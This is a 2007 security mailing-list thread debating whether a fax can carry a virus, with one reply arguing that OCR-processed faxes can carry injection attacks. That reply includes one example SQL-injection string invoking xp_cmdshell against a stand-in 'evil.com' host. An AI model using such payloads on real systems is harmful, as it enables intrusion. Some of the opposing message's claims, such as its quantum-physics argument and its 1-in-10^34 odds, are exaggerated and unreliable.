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RE: FUD - was FAX a virus
From: "Craig Wright" <cwright () bdosyd com au>
Date: Sat, 3 Mar 2007 09:24:55 +1100


I am not directing my responses at a particular person, but to everyone. FUD is bad, please think first.

What you have done in this post however is not a situation that involves a fax at all. You are taking data that was 
sent over a fax, and than you have run another process. In the example an OCR engine. This is not the same thing and is 
not fax dependant. I could thus hand in a page for you to OCR. I could send a gif for you to convert. The document is 
not the issue, what you are doing with it later is.

Next, think of what the data is. When sending textual data, there is no known attack and I doubt one will ever exist, 
for text.

If there was, I could send an email in text format with a virus and have it run. There are situations where meta data 
may be used to send code, but we are not considering metadata. I am not talking embedded metadata. I mean text.

There is also no known way to include code that will run in an OCR engine. Please fell free to demonstrate how this is 
possible.

So this is FUD. Think about it at a realistic and scientific level. Yes there are lots of stories, Stephen King has a 
book called "Cell" with something about as probable.

What would need to occur is that you fax the document, OCR the document, save the document in a manner that may be run 
as code (even an active web page), anf than run the code. This is not the same or even related to sending a fax for a 
start.

Scientifically, I should not have to disprove an event. You have to prove it is possible. I will even allow you to do 
this at a low alpha (say 20% rather than a standard 5%) . Please formula an experiment that demonstrate a slight 
possibility of the event. Remember, scientifically, you have to prove the hypothesis, I do not need to disprove yours 
(although I can more than likely proabilistically  do this in this rare situation).

Regards,
Craig

________________________________

From: wesleymcgrew () gmail com on behalf of Robert Wesley McGrew
Sent: Sat 3/03/2007 8:49 AM
To: security-basics () securityfocus com
Cc: Craig Wright
Subject: Re: FUD - was FAX a virus



I'm not sure if I'm the one this is directed to or not, but I will
respond.  I understand how a fax works, and I agree that a "faxing a
virus" in the context of the original question is not possible.  To
clear things up, I agree with you on that.

However, I do think there are other avenues of attack one should look
at in a system where incoming faxes are treated as input data, and
that is what my intention was with my previous email.

Once that document has gone through the
analog-scan-to-digitization-thru-transmission-noise-and-back-out-the-other-end
procedure, what you wind up with, as you explained very well, is a
digital representation of what the document "looked" like.  It's all a
bitmapped image at this point and as long as the purpose is for
someone to read over it, human eyes and printers and such, then that's
how it'll likely stay.

That said, there's the temptation at this point to want to convert
this back to machine-parse-able data.  Say, for example, we're
accepting faxed requests for service manuals.  Lots of folks are
sending us faxes of a form that we have them fill out, specifying part
#, name, whether they want it mailed or faxed back, etc.  OCR
software's pretty good, and we've got an especially good situation for
it when we have some expectation of what we're getting is supposed to
look like (form with nicely laid out fields, "please print clearly",
maybe even tick marks to separate characters).  The faxing process
mangles our document a bit, but nothing a well tweaked OCR solution
couldn't deal with.

So, at this point, we could happily process these incoming faxes with
some degree of automation, reading the part numbers, faxing back
manuals or putting orders into a database to be fulfilled.  Let's see
where the next one wants to be shipped to: "hax'; exec xp_cmdshell
'ping+lol.evil.com'"... (or whatever sort of injection you want to
perform.  Maybe someone views the data in a html-rendering environment
and you want to web bug or cross-site-script them.)

I know this is way out of scope of the original question, but I'd hate
for someone else to look at a thread like this and make the leap from
"oh ok a fax virus in this case isn't going to work because it'd get
all munged up" to "attack vectors over fax just won't work because of
this analog-digital-analog-digital voodoo".  I don't think that the
situation I've described is unrealistic or too contrived, and I
certainly don't think that recommending that someone pay attention to
how data coming in like this is processed is FUD.

You are 100% spot-on about a virus somehow working its way through the
transmission, however, and I do think this thread had a serious need
for a easy-to-understand description of how a fax actually works like
you have given

--
Robert Wesley McGrew
http://mcgrewsecurity.com

On 3/2/07, Craig Wright <cwright () bdosyd com au> wrote:

Hello,

The idea of faxing a virus is ludicrous and this demonstrates the FUD in the industry. I have to state that I am 
amazed that people here are even considering this seriously! In other words, that people are willing to comment on a 
technology with no idea how it works without even taking the time to check the facts.

This is one of the systemic faults within the security industry at the moment.

The initial question was Ok. It demonstrates that the person wanted to learn. The responses demonstrate that people 
are willing to open their mouth without first checking the facts. This is a bad thing - please understand this.

A Facsimile is an analogue device - it does not send digital information and it can not even send the same 
information twice. Not EVER! More on this later.

Some history seeing as a lesson seems to be needed. (Responding without checking facts - bah - as you can see this is 
a pet hate, people in security need to take the time to LEARN the truth and not make FUD).

History of the Fax. (A very condensed version)

Alexander Bain (1818-1903)

In 1843 invented a precursor that used two pens connected by an electrical wire to send information.

In 1862 (correct me if this date is wrong) Giovanni Caselli made the first pantelegraph to electronically send photos.

? On date, but about 1880. Elisha Gray (founder of the Western Electric Company) patented a simple (though it took a 
room to hold and oft caught on fire) a facsimile transmission system.

Arthur Korn (1870-1945) sent the first inter-city fax in 1907 using a "telephotographer" to send photos from Munich 
to Berlin.

And so it goes till Xerox got into the picture in 1964 with Long Distance Xerography (LDX) and shortly after with the 
Magnafax Telecopier (weighing only 46-pound) in 1966. This was where we have what is essentially a "modern" facsimile 
machine.

How does a Fax machine work? (First faxes in general than computers)

A fax is a scan of a block of the image to be sent. The scan is analogue in that the intensity of the tone is 
converted to a digital signal. This scan is impacted by ambient temperature, lighting conditions and many other 
factors - although none of these will make any difference that the human eye can note.

This signal is sent as an electronic wave function. Again, analogue and not digital. It is converted (taking phone 
line faxes and excluding radio fax in this case) as a signal similar to a modem communication that is transmitted to 
a sound wave if you listen to this on a phone.

Line conditions always impact the transmission. A white noise function creates variations in the wave form that 
reflects the error rate on the page.

In a computer fax card or program, this is interpreted and converted to make the digital image. The image varies each 
and ever time that a fax is send and it is not possible for the sender to control all conditions to ensure that any 
stream of information comes out the same.

If you do not believe this statement I have to have you read up on Quantum cromodynamics, and Quantum wave physics 
and Uncertainty. (This is a topic best off list for any of you who want to chat more on a very interesting subject).

Basically, this is a probabilistic function. If for a SPECIFIC card in a SPECIFIC computer a SPECIFIC set of code 
could be send to that machine that could case some unknown fault (let alone a virus), the sender needs also to be 
able to control the line between the receive and him/herself.

Probabilistically we are talking a 1 in 10^34 or larger chance of being able to control all these conditions EVEN if 
there was a specific piece of code (which has never been shown to exist or even be feasible) of controlling all the 
required conditions. There is a larger probability that all the electrons and quarks in both your body and those of 
the wall will somehow align just as you walk into the wall - allowing you to pass through it as it the wall was not 
there.

So to reiterate (to the tune of Monty Python's SPAM).

FUD, FUD, FUDity FUD....

Now, to the real issue. (Yes time to get on my soapbox AGAIN).

Security "professionals" do not make FUD. Security "professionals" do not propagate FUD. Security "professionals" 
check the facts BEFORE going off half cocked with a story that is about as likely as an alien abductions. Please 
check the facts before damaging the industry as a whole.

I do say industry as a whole for this. Each time we state something that is not scientific and has no basis in fact 
designed to make other percieve an exagerated sense of risk associated with a theretical conditiuon, we make FUD. In 
doing this, we lower the standing of all "security professionals."

To even state - "the threat is extraordinarily low" is an exageration. If all worlds possible in all galaxies in the 
known universe all have all their people sending faxes for all the life of the universe, than the chance of sending 
information in the manner suggested is still approximately zero. This is even with modern error correction techniques.

So to even make this an issue is FUD. Risk first needs a threat, a threat needs an impact and a probabilistic 
likelihood. If these are all close to zero, than the risk is zero.

Facts first - facts second and than make the decision based on reality. FUD and an exageration of  risk is one of the 
greatest evils  today. Please do not jump on this bandwagon!

Please let's start acting like Security "professionals".

Regards,

Craig S Wright



PS FUD = bad - please remember, FUD = bad...


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Liability limited by a scheme approved under Professional Standards Legislation in respect of matters arising within 
those States and Territories of Australia where such legislation exists.

DISCLAIMER
The information contained in this email and any attachments is confidential. If you are not the intended recipient, you 
must not use or disclose the information. If you have received this email in error, please inform us promptly by reply 
email or by telephoning +61 2 9286 5555. Please delete the email and destroy any printed copy. 

Any views expressed in this message are those of the individual sender. You may not rely on this message as advice 
unless it has been electronically signed by a Partner of BDO or it is subsequently confirmed by letter or fax signed by 
a Partner of BDO.

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